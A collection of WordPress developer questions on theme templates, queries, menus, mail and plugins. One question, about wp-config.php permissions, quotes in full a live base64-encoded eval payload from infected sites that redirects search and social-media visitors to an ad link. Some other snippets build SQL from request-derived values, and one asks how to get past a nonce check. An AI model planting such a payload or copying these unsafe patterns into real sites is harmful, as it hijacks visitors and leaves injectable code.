title: How to add the source url as custom field in autoblogged Wordpress plugin

text:
My website working on autoblogged plugin and the theme installed is ipin pro. I wanted to autoblogged posts to add source url also, in page shows uploaded by user. please help. I wanted to "uploaded by user" to autoblogged custom field value, screenshot attached here http://imgur.com/EOxtrje ,my autoblogged custom page screen shot is here- http://i.imgur.com/LlA2HTN.jpg?1 What are the values in custom field? Here is the source page of page_source.php in theme               <?php     /*     Template Name: _source     */     ?>          <?php get_header(); global $user_ID, $wp_rewrite; ?>
         <?php         if(isset($wp_query->query_vars['domain'])) {             $source = rawurlencode($wp_query->query_vars['domain']);         } else {             $source = '...';         }         ?>

<?php _e('Pins from', 'ipin') ?> <a href="http://<?php echo $source; ?>" target="_blank"><?php echo $source; ?>

              <?php         $pnum = intval($_GET['pnum']) ? $_GET['pnum'] : 1;         $args = array(             'meta_key' => '_Photo Source Domain',             'meta_value' => $source,             'paged' => $pnum         );              query_posts($args);         $maxpage = $wp_query->max_num_pages;         ?>

             <?php $count_ad = 1; if (have_posts()) : while (have_posts()) : the_post(); ?>                  <?php if (of_get_option('frontpage1_ad') == $count_ad && of_get_option('frontpage1_ad_code') != '' && ($pnum == 1  || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage1_ad_code')); ?>

             <?php } ?>                  <?php if (of_get_option('frontpage2_ad') == $count_ad && of_get_option('frontpage2_ad_code') != '' && ($pnum == 1  || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage2_ad_code')); ?>

             <?php } ?>                  <?php if (of_get_option('frontpage3_ad') == $count_ad && of_get_option('frontpage3_ad_code') != '' && ($pnum == 1  || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage3_ad_code')); ?>

             <?php } ?>                  <?php if (of_get_option('frontpage4_ad') == $count_ad && of_get_option('frontpage4_ad_code') != '' && ($paged == 0 || $paged == 1 || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage4_ad_code')); ?>

             <?php } ?>                  <?php if (of_get_option('frontpage5_ad') == $count_ad && of_get_option('frontpage5_ad_code') != '' && ($paged == 0 || $paged == 1 || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage5_ad_code')); ?>

             <?php } ?>                  <div id="post-<?php the_ID(); ?>" <?php post_class('thumb'); ?>>

                         <?php if (current_user_can('administrator') || current_user_can('editor') || current_user_can('author') || !is_user_logged_in()) { ?>                         <a class="ipin-repin btn btn-mini" data-post_id="<?php echo $post->ID ?>" href="#"> <?php _e('Repin', 'ipin'); ?>                         <?php } ?>                         <?php if ($post->post_author != $user_ID) { ?>                          <button class="ipin-like btn btn-mini<?php if(ipin_liked($post->ID)) { echo ' disabled'; } ?>" data-post_id="<?php echo $post->ID ?>" data-post_author="<?php echo $post->post_author; ?>" type="button"> <?php _e('Like', 'ipin'); ?></button>                         <?php } else { ?>                         <a class="btn btn-mini" href="<?php echo home_url('/pins-settings/'); ?>?i=<?php the_ID(); ?>"><?php _e('Edit', 'ipin'); ?>                         <?php } ?>                         <a class="ipin-comment btn btn-mini" href="<?php the_permalink(); ?>#respond" data-post_id="<?php echo $post->ID ?>"> <?php _e('Comment', 'ipin'); ?>
                          <a class="featured-thumb-link" href="<?php the_permalink(); ?>">                         <?php                         if (of_get_option('price_currency') != '') {                             remove_filter('the_title', 'ipin_the_title');                             $title_unfiltered = get_the_title();                             preg_match_all('/\$[0-9,]+(?:\.[0-9]{2})?/', $title_unfiltered, $match);                             add_filter( 'the_title', 'ipin_the_title');                             if ($match[0]) {                         ?>

<?php echo str_replace('$', of_get_option('price_currency'), array_pop($match[0])); ?>

                         <?php                             }                         }                         ?>                              <?php                         //if is youtube or vimeo video                         $photo_source = get_post_meta($post->ID, "_Photo Source", true);                         if (preg_match('%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', str_replace('&', '&', $photo_source), $match) || (strpos(parse_url($photo_source, PHP_URL_HOST), 'vimeo.com') !== FALSE && sscanf(parse_url($photo_source, PHP_URL_PATH), '/%d', $video_id))) {                         ?>

                         <?php } ?>                              <?php                         $imgsrc = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID),'medium');                         if ($imgsrc[0] == '') {                             $imgsrc[0] = get_template_directory_uri() . '/img/blank.gif';                         }                              //if is animted gif                         $animated_gif = false;                         if (substr($imgsrc[0], -4) == '.gif' && get_post_meta(get_post_thumbnail_id($post->ID), 'a_gif', true) == 'yes') {                                 $animated_gif = true;                                 $animated_gif_imgsrc_full = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'full');                                 echo '

';                              }                         ?>                         <img class="featured-thumb<?php if ($animated_gif) echo ' featured-thumb-gif-class" data-animated-gif-src-medium="' . $imgsrc[0] .  '" data-animated-gif-src-full="' . $animated_gif_imgsrc_full[0]; ?>" src="<?php echo $imgsrc[0]; ?>" alt="<?php the_title_attribute(); ?>" style="width:<?php echo $imgsrc[1] ?>px;height:<?php echo $imgsrc[2] ?>px" />                                               <div class="post-title" data-title="<?php esc_attr_e($title_unfiltered); ?>">                         <?php                         $post_title_strip_tags = get_the_title();                         if (of_get_option('posttags') == 'enable') {                             $post_title_strip_tags = preg_replace('/tags\[(.*?)\]/', '', get_the_title(), 1);                         }                              echo mb_strimwidth(strip_tags($post_title_strip_tags), 0, 255, ' ...');                              $posttags = get_the_tags();                         if ($posttags) {                             echo '

';                                  foreach($posttags as $tag) {                                 echo 'term_id). '">' . $tag->name . ' ';                              }                                  echo '
';                         }                         ?>

                      <?php                  $likes_number = get_post_meta($post->ID, '_Likes Count', true);                 $repins_number = get_post_meta($post->ID, '_Repin Count', true);                 $comments_number = get_comments_number();                 ?>
                 <?php                     if ($likes_number == '' || $likes_number == '0') {                         echo 'ID . '" class="likes-count hide">';                     } elseif ($likes_number == '1') {                         echo 'ID . '" class="likes-count">1 ' . __('like', 'ipin') . '';                     } else {                         echo 'ID . '" class="likes-count">' . $likes_number . ' ' . __('likes', 'ipin') . '';                     }                          if ($comments_number == '0') {                         echo 'ID . '" class="comments-count hide">';                     } elseif ($comments_number == '1') {                         echo 'ID . '" class="comments-count">1 ' . __('comment', 'ipin') . '';                     } else {                         echo 'ID . '" class="comments-count">' . $comments_number . ' ' . __('comments', 'ipin') . '';                     }                          if ($repins_number == '' || $repins_number == '0') {                         echo 'ID . '" class="repins-count hide">';                     } elseif ($repins_number == '1') {                         echo 'ID . '" class="repins-count">1 ' . __('repin', 'ipin') . '';                     } else {                         echo 'ID . '" class="repins-count">' . $repins_number . ' ' . __('repins', 'ipin') . '';                        }                 ?>

                     <?php if (current_user_can('administrator') || current_user_can('editor') || current_user_can('author') || !is_user_logged_in()) { ?>                     <a class="ipin-repin btn btn-small" data-post_id="<?php echo $post->ID ?>" href="#"><?php _e('Repin', 'ipin'); ?>                     <?php } ?>                     <?php if ($post->post_author != $user_ID) { ?>                      <button class="ipin-like btn btn-small<?php if(ipin_liked($post->ID)) { echo ' disabled'; } ?>" data-post_id="<?php echo $post->ID ?>" data-post_author="<?php echo $post->post_author; ?>" type="button"><?php _e('Like', 'ipin'); ?></button>                     <?php } else { ?>                     <a class="btn btn-small" href="<?php echo home_url('/pins-settings/'); ?>?i=<?php the_ID(); ?>"><?php _e('Edit', 'ipin'); ?>                     <?php } ?>                     <a class="ipin-comment btn btn-small" href="<?php the_permalink(); ?>#respond" data-post_id="<?php echo $post->ID ?>"><?php _e('Comment', 'ipin'); ?>

<a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') . get_the_author_meta('user_nicename'); ?>/"><?php echo get_avatar(get_the_author_meta('ID'), '30'); ?>

                         <?php the_author_posts_link(); ?>                          <?php                              $original_post_id = get_post_meta($post->ID, "_Original Post ID", true);                             if ($original_post_id != '' && $original_post_id != 'deleted') {                                 $original_postdata = get_post($original_post_id, 'ARRAY_A');                                 $original_author = get_user_by('id', $original_postdata['post_author']);                             ?>                             <?php _e('via', 'ipin'); ?>                              <a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') . $original_author->user_nicename; ?>/"><?php echo $original_author->display_name; ?>                             <?php                             }                             if ($board_info = get_the_terms($post->ID, 'board')) {                                 _e('onto', 'ipin');                                 foreach ($board_info as $board) {                                 ?>                                  <a href="<?php echo home_url('/board/'); ?><?php echo $board->term_id ?>/"><?php echo $board->name; ?>                                 <?php                                 }                             }                         ?>

                      <?php                 if ('0' != $frontpage_comments_number = of_get_option('frontpage_comments_number')) {                 ?>                  <div id="masonry-meta-comment-wrapper-<?php echo $post->ID; ?>">                  <?php                     if ($comments_number >  $frontpage_comments_number) {                         $offset = $comments_number - $frontpage_comments_number;                     } else {                         $offset = 0;                         }                          $args = array(                         'number' => $frontpage_comments_number,                         'post_id' => $post->ID,                         'order' => 'asc',                         'offset' => $offset,                         'status' => 'approve'                     );                     $comments = get_comments($args);                     foreach($comments as $comment) {                     ?>
                         <?php $comment_author = get_user_by('id', $comment->user_id); ?>
                             <?php if ($comment_author) { ?>                             <a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') . $comment_author->user_nicename; ?>/">                             <?php } ?>                                 <?php echo get_avatar($comment->user_id, '30'); ?>                             <?php if ($comment_author) { ?>                                                          <?php } ?>

                                                              <?php if ($comment_author) { ?><a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') . $comment_author->user_nicename; ?>/"><?php } ?><?php echo $comment->comment_author; ?><?php if ($comment_author) { ?><?php } ?>                                                          <?php echo $comment->comment_content; ?>

                     <?php                      }                     ?>
                 <?php                 }                       if (is_user_logged_in()) {                 ?>                 <div id="masonry-meta-commentform-<?php echo $post->ID ?>" class="masonry-meta hide">
<?php echo get_avatar($user_ID, '30'); ?>

                     <?php                      $id_form = 'commentform-' . $post->ID;                     $id_submit = 'submit-' . $post->ID;                          comment_form(array(                         'id_form' => $id_form,                         'id_submit' => $id_submit,                         'title_reply' => '',                         'cancel_reply_link' => __('X Cancel reply', 'ipin'),                         'comment_notes_before' => '',                         'comment_notes_after' => '',                         'logged_in_as' => '',                         'label_submit' => __('Post Comment', 'ipin'),                         'comment_field' => '<textarea placeholder="' . __('Add a comment...', 'ipin') . '" id="comment" name="comment" aria-required="true"></textarea>'                     ));                     ?>

                 <?php } ?>
             <?php             $count_ad++;             endwhile;              else :             ?>

<?php _e('Nothing yet . . .', 'ipin'); ?>

             <?php              endif;             wp_reset_query();              ?>
              <?php if ($maxpage != 0) { ?>

                           <?php if ($pnum != 1 && $maxpage >= $pnum) { ?>
                     <a href="<?php $permalink = get_permalink(); if (substr($permalink,-1) == '/') { $permalink = substr($permalink,0,-1); } echo $permalink . '/' . $source . '?pnum=' . ($pnum-1); ?>"><?php _e('« Previous', 'ipin') ?>
                 <?php } ?>                      <?php if ($maxpage != 1 && $maxpage != $pnum) { ?>
                     <a href="<?php $permalink = get_permalink(); if (substr($permalink,-1) == '/') { $permalink = substr($permalink,0,-1); } echo $permalink . '/' . $source . '?pnum=' . ($pnum+1); ?>"><?php _e('Next »', 'ipin') ?>
                 <?php } ?>

         <?php } ?>

<?php _e('Top', 'ipin'); ?>

              <?php get_footer(); ?>


title: Deleting default category in wordpress

text: I'm looking for a way to delete default category functionality in wordpress but after i delete the default category in `wp_terms` table in mysql database, it automatically assigns default category to another category. Does anyone know how to achieve this? Thank you for any help.


title: How to request login for user but not for bots

text: I wondering, how to not requesting bots like google crawler or bing crawlers to login since they can crawl my post info, but require user to login if they want to see the posts? I already know how to redirect user to login page, but don't know how to exclude the crawlling bots!               function wpse_41699_wp(){         if( is_page('Login')||is_page('register')||is_page('Blog')||is_page('blog') ){             return;         }else{             if(!is_user_logged_in()){                 $url = get_bloginfo('home').'/login';//ACW-login location need to be specified                 header('HTTP/1.1 403 Forbidden');                 header("Location: $url");                 exit;             }         }     }      Thanks! **Or is there better way to do this?**


title: Notify new post on page

text: Is there a way to notify on a dashboard page if there are new posts? Or is this only possible with `wp_mail();` hook? Thanks. Casper


title: Can I add pages to my custom menu via script?

text: My theme has a custom menu assignment...               function my_register_my_menus() {       register_nav_menus(         array('header-menu' => __( 'Custom Header Menu' ) )       );     }      ...and I'm creating an "installer" type plugin that, upon activation, I would like to hook into this custom menu and assign some pages to it as if they had been created manually. However, the menu API is pretty new and to date, I've been unable to find any examples of how to do this. I'm hoping someone here can give me some direction, examples or info on how to do it. Thanks in advance :-)


title: How can I tell WP which file to load by default in Appearance > Editor?

text: When I navigate to... Appearance > Editor > Edit Themes The default file that gets loaded there is my options.css file (which I don't want anyone editing since it styles my theme options panel, not the theme itself.) How can I specify which file gets loaded there? Ideally, I'd like for my theme's current stylesheet to be loaded there. Is there a way that I can specify this in script from functions.php?


title: Create new network instance, import old single installs AND keep the urls?

text: I've two wordpress installs at               example.com/blog     example.com/otherblog      What I want to do is install WP at the root, and have a network, but maintain the URLs. I'm confident I can install WP, and export the single installs, and import them to the network. My question is this: can I do all this, and keep the urls? And can the an old one run simultaneously with the new network site before it gets imported so I don't have to import both at once? I.e. could I have example.com/blog run under the multisite while example.com/otherblog runs on its own install? If this _is_ possible what steps do I have to take beyond all the import/export business?


title: "Plugin could not be activated because it triggered a fatal error."

text: The code below is contained in a plugin file. It just seeks to execute an update query against the wp database. However, its generating a fatal error.               Fatal error: Cannot redeclare ce3_cleanup()      Do I need to load a config file to get acess to $wpdb->query?               function ce3_cleanup()     {         $wpdb->query("update wp_postmeta set meta_key=replace(meta_key,'cb2_customHeader','_cb2_customHeader') where meta_key like 'cb2_customHeader'");         $wpdb->query("update wp_postmeta set meta_key=replace(meta_key,'cb2_customTitle','_cb2_customTitle') where meta_key like 'cb2_customTitle'");     }     register_activation_hook(__FILE__, 'ce3_cleanup');     ?>


title: How to return the_excerpt (without echo)?

text: Hey all, I see that get_the_excerpt() echoes the post excerpt if it is manually set, but not if it is automatically generated (with just the 55 words, for example). [and its use is deprecated] the_excerpt() on the other hand, echoes directly without giving me a string in return. Is there a function to return the excerpt of a post in Wordpress, including automatic excerpt if not manually defined, without echoing it?


title: How can i display the posts per week in a particular month?

text: _I have to display the posts as the following_ **September 2010** _Friday September 24, 2010_               post1     post2     .     .     .      _Friday September 17, 2010_               post1     post2     .     .     .      _Friday September 10, 2010_               post1     post2     .     .     .      _Friday September 03, 2010_               post1     post2     .     .     .      **can any one tell, how can do this?, or which function should i use?** I have used the following function and i got all the post in current month               query_posts("year=$current_year&monthnum=$current_month")      How can i show the posts per week of this month? **is it work** `query_posts(""year=$current_year&monthnum=$current_month&post_date >$startDate&post_date <=$endDate")` **Or what is another good way?**


title: Is there any way to have Featured Text, as opposed to Featured Image?

text: I need to have Featured Text displayed on my category page, as well as a Featured Image. The Featured Text can not be in the Post at all (just as a Featured Image is not in the Post). Does anybody know of a plugin that already does this? I've looked around a fair bit and can't seem to find anything. Many thanks.


title: Default installation permissions for wp-config.php

text: Recently I've noticed that many of the wordpress installations we have on our servers where being attacked and ifected by this thing               eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9iaXQubHkvVVlJZFhMIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));      This malicious code will redirect users coming from social networks like facebook and google+ to an ad page. Analyzing the files in the installation we discovered that `wp-config.php` had too open permissions (0666). The wordpress github repository show that this problem exist since about 2003! Why is the file saved with 0666 instead of 0600? There is any practical need?


title: force category table refresh when adding new category

text: i wonder if there's a relatively easy solution to this : i have added a custom field to the categories, which in turn gets displayed in the right hand table under its own column name. (essentailly it's a "this category is the default" field. all works fine, when editing a category. however, when adding a category with this field(checkbox) selected , all other categories update to "we are not the default anymore". the db also stores these new values as required. however, as adding a new category is invoked via ajax, the category table on the right hand side does not refresh to reflect these new settings. (only when actually refreshing the whole page , can i actually see the current values) question is therefore, is there a hook i can plug in to that automatically forces a page refresh after a new category has been added (or better still, just to refresh the table on the right ), or do i actually run a seperate ajax call to get the updated values and update that table ?


title: How to Create Template File for Parent Page of Custom Post Type

text: After creating a custom post type I made a custom template file for the post (`single-customposttypename.php`). So the URL structure would be: `example.com/page/postname`, and `postname` would be the post that renders `single-custompostype.php` (this works fine). But what I'm trying to get is `example.com/PAGE` to loop all the posts generated from that custom post type on one page...which it does, but it's unstyled. I tried creating a custom template called `page- customposttypename.php` but that didn't seem to work. Seems like this should be really simple but I can't seem to figure it out. Can anyone point me in the right direction?


title: Change html structure of all img tags in Wordpress

text: I have a Wordpress blog and am trying to implement the foresight.js image script. In short, I need to target all post images, swap out the `src, width, & height` attributes with `data-src, data-width, & data-height` attributes. I then need to duplicate the image line and wrap it in `<noscript>` tags. This is the structure I'm trying to have Wordpress generate/create:                                        I have searched the Wordpress codex and the best possible route I can find are to use filters (ie. _'get_image_tag'_ & _'image_tag'_ ) for modifying the html that Wordpress outputs for each image. I'm thinking that one of these options should work, or that I can do some pattern matching with regex _(I know, not ideal)_ , throw in a `preg_replace` and then inject this back into `the_content` filter. I have tried some of these options but cannot get any to work. Could someone please offer some help? Found one suggestion here, but can't even get it to work! ### 'get_image_tag' attempt: _Found this particular one on the web, but it would need modified to fit my logic (see above structure)...can't make sense of what the`preg_replace` array is doing on my own._               <?php function image_tag($html, $id, $alt, $title) {         return preg_replace(array(             '/'.str_replace('//','\/\/',get_bloginfo('url')).'/i',             '/\s+width="\d+"/i',             '/\s+height="\d+"/i',             '/alt=""/i'         ),         array(             '',             '',             '',             alt='"' . $title . '"'         ),         $html);     }     add_filter('get_image_tag', 'image_tag', 0, 4);     ?>      ### Another 'get_image_tag' attempt:               <?php function get_image_tag($id, $alt, $title, $align, $size='full') {         list($width, $height, $type, $attr) = getimagesize($img_src);         $hwstring = image_hwstring($width, $height);              $class = 'align' . esc_attr($align) . ' size-' . esc_attr($size) . ' wp-image-' . $id;         $class = apply_filters('get_image_tag_class', $class, $id, $align, $size);              $html = '';         $html = apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size);              return $html;     }     ?>      ### Pattern-matching attempt: Tried creating my own regex on this one, but not sure if it's correct.               <?php function restructure_imgs($content) {         global $post;         $pattern = "//i";              list($width, $height, $type, $attr) = getimagesize($2$3.$4$5);         $hwstring = image_hwstring($width, $height);              $replacement = 'post_title.'" data-width="'.$width.'" data-height="'.$height.'" class="fs-img"$6>';         $content = preg_replace($pattern, $replacement, $content);         return $content;     }     add_filter('the_content', 'restructure_imgs');     ?>      Unfortunately can't get any of these examples to work. Any help or sharing your pre-written scripts/functions would be much appreciated! Thanks for helping a student learn!!


title: How can I access a post's feature image outside the loop?

text: I want to update my `<meta property="og:image" content="http://amemoirproject.com/facebook/og-image.png"/>` tag in the head with the current post's feature image. How can I do that?


title: Ethics question: what qualifies as a fork?

text: I recently came across the need for a WP plugin which did not exist and so I started working on a plugin of my own. In my search, I found non-published (in terms of availability on WP.org) code about 100 lines long on someone else's github which was mostly copied and pasted from an online tutorial by another person and WP codex examples. I have since expanded the code to about 1000 lines, rewrote and rebranded most of the functions, and I am looking to publish it on WP.org soon. When I originally found this code, I just forked it on github and credited the middle man in my description. I was confused why github was not recognizing my commits as "activity" until I found this page which explains that github does not count commits in forks until it gets pulled back up the main branch. This got me thinking about whether or not the code I have been working on should be considered a "fork" or not. Since I mainly used it as a function reference, I have been leaning towards thinking of it as not a fork. (I am still crediting the middle man in the description though.) I could really use some input on this situation since this is the first time that I have started with someone else's code and am looking to publish it as open-source. Thoughts? Maybe on where the line between "fork" and "original code" is?


title: Insert a field with PREG_REPLACE – strange behaviour

text:
I'm trying to insert a custom field (from the Advanced Custom Fields plugin), and I need to place it within a div which I'm wrapping around an img, right before the img-tag. So basically this is the result I want (I use `the_field('description')` here to make it cleaner):

                 [ the content from the_field() ]

      But this is what happens:
         [ the content from the_field() ]

      I.e. content from the field gets inserted at the top instead of in the div I place it. Isn't it rather strange? Here's my code:               function wrapImagesInDiv($content) {         if ( in_category( 'projects' ) ) {             $pattern = '/(]*class=\"([^>]*?)\"[^>]*>)/i';             $replacement = '

                     '.the_field('description').'                     $1

';             $content = preg_replace($pattern, $replacement, $content);         }         return $content;     }     add_filter('the_content', 'wrapImagesInDiv');


title: Is it possible to put the add-filter()-hook into a function?

text: for my plugin with a lot of different features, I want to realize a mail- function to send HTML-mails. For this I have to add a filter-Hook like this:               function set_content_type($content_type){         return 'text/html';     }      and two filter-hooks:               add_filter('wp_mail_content_type','set_content_type');     remove_filter( 'wp_mail_content_type', 'set_html_content_type' );      Can I put this two hooks inside my mail function?


title: Date time doesn't show correctly in qTranslate

text: I've used qTranslate to enable multiple languages on site. It works fine except for date-time for english language. Here are screenshots: Serbian: ![serbian](http://i.stack.imgur.com/AVmeB.jpg) English: ![english](http://i.stack.imgur.com/KLZRL.jpg) Languages settings looks like: ![serbian edit](http://i.stack.imgur.com/ynHQK.jpg) ![english edit](http://i.stack.imgur.com/BaDa7.jpg) How to fix this?


title: Bypass nonce value while trashing a post

text: I want to move a post in trash but the condition is that simultaneously I need to delete some more posts. Sample Code:               jQuery(function($) {         $('#delete-action a').unbind();         $('#delete-action a').click(function(event) {             event.preventDefault();         openbox('Trash Child Posts', 1);             setTimeout(                 function() {                     $('#save-action .spinner').hide();                     $('#publish').removeClass('button-primary-disabled');                 },                 1             );         });     });      It pop ups a new popup to delete the child post.                   var trash_blog = $('div#trash-button');     $("#trash-button").click( function()            {              TrashBlogs.each(function(){             var allVals = [];             $('div#box :checked').each(function() {               allVals.push($(this).val());             });                  window.location.replace("post.php?post="+post_id                 +"&action=trash&_wpnonce=20a76fd1e5&blog_id="+allVals);         });            }         );`      Now the problem: How to bypass the nonce value when `window.location` executes?   After redirection it says 'Are you Sure to do this, Please try again' because nonce value doesn't match.


title: custom upload directory only for plugin uploads

text: i'm trying to add an upload_dir filter only for plugin-uploads. does anybody know why the code below doesn't work, and what could work instead? thanks in advance!               $upload_dir = 'publications';     $plugin_dir = WP_CONTENT_DIR ;     $plugin_url = WP_CONTENT_URL ;          add_filter('upload_dir', 'custom_upload_dir');          function custom_upload_dir($path_data){     global $upload_dir;     global $plugin_dir;     global $plugin_url;          if ( $_GET['page'] == 'teachpress/addpublications.php'){         $path_data['path'] = $plugin_dir . "/" . $upload_dir;         $path_data['url'] = $plugin_url . "/" . $upload_dir;         $path_data['subdir'] = "/" . $upload_dir;         $path_data['basedir'] = $plugin_dir;         $path_data['baseurl'] = $plugin_url;         }     return $path_data;     }


title: Add 20yrs to post date, and then query

text: I would like to know if anyone knows a way of adding a timeframe (say 20 years) to the datestamp on a set of posts, and then running a query on the loop which uses the new date? Basically what I want to do is have a series of normal news posts. In addition to that, I have a custom post type for '20 years ago today', with the posts in that date stamped appropriately in the early 90s. I'd like for those posts to appear in the same loop as the news posts (rather than in a separate loop). So it might go:   * News Post (21 March 2012)   * News Post (19 March 2012)   * 20 years ago (17 March 1992)   * News Post (12 March 2012)   * 20 years ago (6 March 1992) and so on. And anything that happened less than 20 years ago (say, in 1993), would behave like a pending post, and not show up. Any suggestions would be appreciated


title: Mail not sent when I set HTML headers

text: $subject = get_the_title();      $sender_name = get_bloginfo('name');     $blog_url = get_bloginfo('url');          $to      = 'myemail@mydomainname.com';     $subject = 'the subject';     $message = 'hello';     $headers = 'MIME-Version: 1.0' . "\r\n";     $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";     $headers .= 'From: '.$sender_name.' <no-reply@'.$blog_url.'>' . "\r\n";          $headersssssssssssss = 'From: webmaster@example.com' . "\r\n" .         'Reply-To: webmaster@example.com' . "\r\n" .         'Content-type: text/html; charset=iso-8859-1' . "\r\n" .         'X-Mailer: PHP/' . phpversion();      When I use the `$headersssssssssssss` variable as a parameter in the `mail()` function, it works and sends an E-Mail.   But when I use `$headers` as a parameter, it does not. Note: I have already tried using `wp_mail` instead, with the same results.               if( mail($to, $subject, $message, $headersssssssssssss) )     {         echo '<script>alert("mail sent success!");</script>';     } else {         echo '<script>alert("mail where not sent");</script>';     }           exit;


title: using update_user_meta to rank users

text:
I'm using a plugin that allows users to vote on posts, I'd like to add each vote that's cast to the authors user_meta so I can rank users the same way I rank posts. There's a couple of different functions in the plugin that update and save the post_meta.               add_action( 'wp_ajax_nopriv_epicred_vote', 'epicred_vote' );     add_action( 'wp_ajax_epicred_vote', 'epicred_vote' );         function epicred_vote(){             global $wpdb, $current_user;                  get_currentuserinfo();                  $wpdb->myo_ip   = $wpdb->prefix . 'epicred';                  $option = (int)$_POST['option'];             $current = (int)$_POST['current'];                  //if we are locked via IP set the fid variable to be the IP address, otherwise log the member ID             if(get_option('epicred_ip') == 'yes'){                 $ipAddr = isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']) ? $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'] : $_SERVER['REMOTE_ADDR'];                 $fid = "'" . $ipAddr . "'";              }else{                 $fid = $current_user->ID;             }                       $postid = (int)$_POST['poll'];                    $query = "SELECT epicred_option FROM $wpdb->myo_ip WHERE epicred_ip = $fid AND epicred_id = $postid";                  $al = $wpdb->get_var($query);                       if($al == NULL){                 $query = "INSERT INTO $wpdb->myo_ip ( epicred_id , epicred_ip, epicred_option) VALUES ( $postid, $fid, $option)";                 $wpdb->query($query);             }else{                 $query = "UPDATE $wpdb->myo_ip SET epicred_option = $option WHERE epicred_ip = $fid AND epicred_id = $postid";                 $wpdb->query($query);             }                  $vote = get_post_meta($postid,'epicredvote',true);                      if($option == 1){                     if($al != 1){                         if($al == -1){                         $vote = $vote+2;                             }else{                         $vote = $vote+1;                         }                     }                 }                           if($option == -1){                          if($al != -1){                         if($al == 1){                             $vote = $vote-2;                         }else{                         $vote = $vote-1;                         }                        }                    }                 update_post_meta($postid,'epicredvote',$vote);                           $response['poll'] = $postid;                 $response['vote'] = $vote;                  echo json_encode($response);                  // IMPORTANT: don't forget to "exit"             exit;         }      And               function wpt_save_wpeddit() {               global $wp, $wpdb, $post;                     // unhook this function so it doesn't loop infinitely         remove_action('save_post', 'wpt_save_wpeddit');                   // Is the user allowed to edit the post or page?         if ( !current_user_can( 'edit_post', $post->ID ))         return $post->ID;         // OK, we're authenticated: we need to find and save the data. Make sure we don't add an image every time the post is         // saved as a draft - so keep track of the external URL in a custom field.                       $vote = get_post_meta($post->ID,'epicredvote',true);             $rank = get_post_meta($post->ID,'epicredrank',true);                  if($vote == ""){                 $vote = 0;             }             if($rank == ""){                 $rank = 0;             }                  update_post_meta($post->ID, 'epicredvote', $vote );             update_post_meta($post->ID,'epicredrank',$rank);                   add_action('save_post', 'wpt_save_wpeddit');          }      Then my goal would be to use something like this in order to rank the users:- EDIT:- loop I'm using to output users/scores.                <?php                                       $args = array(                                 'meta_key' => 'epicredvote',                                 'orderby'  => 'meta_value',                                 'order'    => 'DESC',                                 'number' => 10,                                  );                                  add_action( 'pre_user_query', 'wpse_149342_pre_user_query' );                                  $user_query = new WP_User_Query(  $args );                                  // User Loop                             if ( ! empty( $user_query->results ) ) {                                 foreach ( $user_query->results as $user ) {                                     echo '
' . $user->display_name . '
';                                    echo '' . $user->epicredvote . '';                                  }                             } else {                                 echo 'No users found.';                             }                         ?>      So one vote on a post = one vote for that user essentially. Possible, or am I completely off track here?


title: How to save media-form on custom tab

text: On my custom tab, I copied media-form from media_upload_gallery_form, only changed form id and action-url to reflect my tab's name. The form displayed as expected, but after click "Save All Changes", the post data is not saved. Please note unlike custom fields that we add filter to "attachment_field_save", this time it is the entire media-form. It can be saved on either Gallery tab or Library tab, so I guess there has to be a way to be saved on my custom tab?


title: WordPress in Drupal

text: I got a Drupal site, and I must install WordPress in it. If I install WordPress to "www.mysdrupalsite/wordpress/", will it work as a standard WordPress installation ? THANKS !


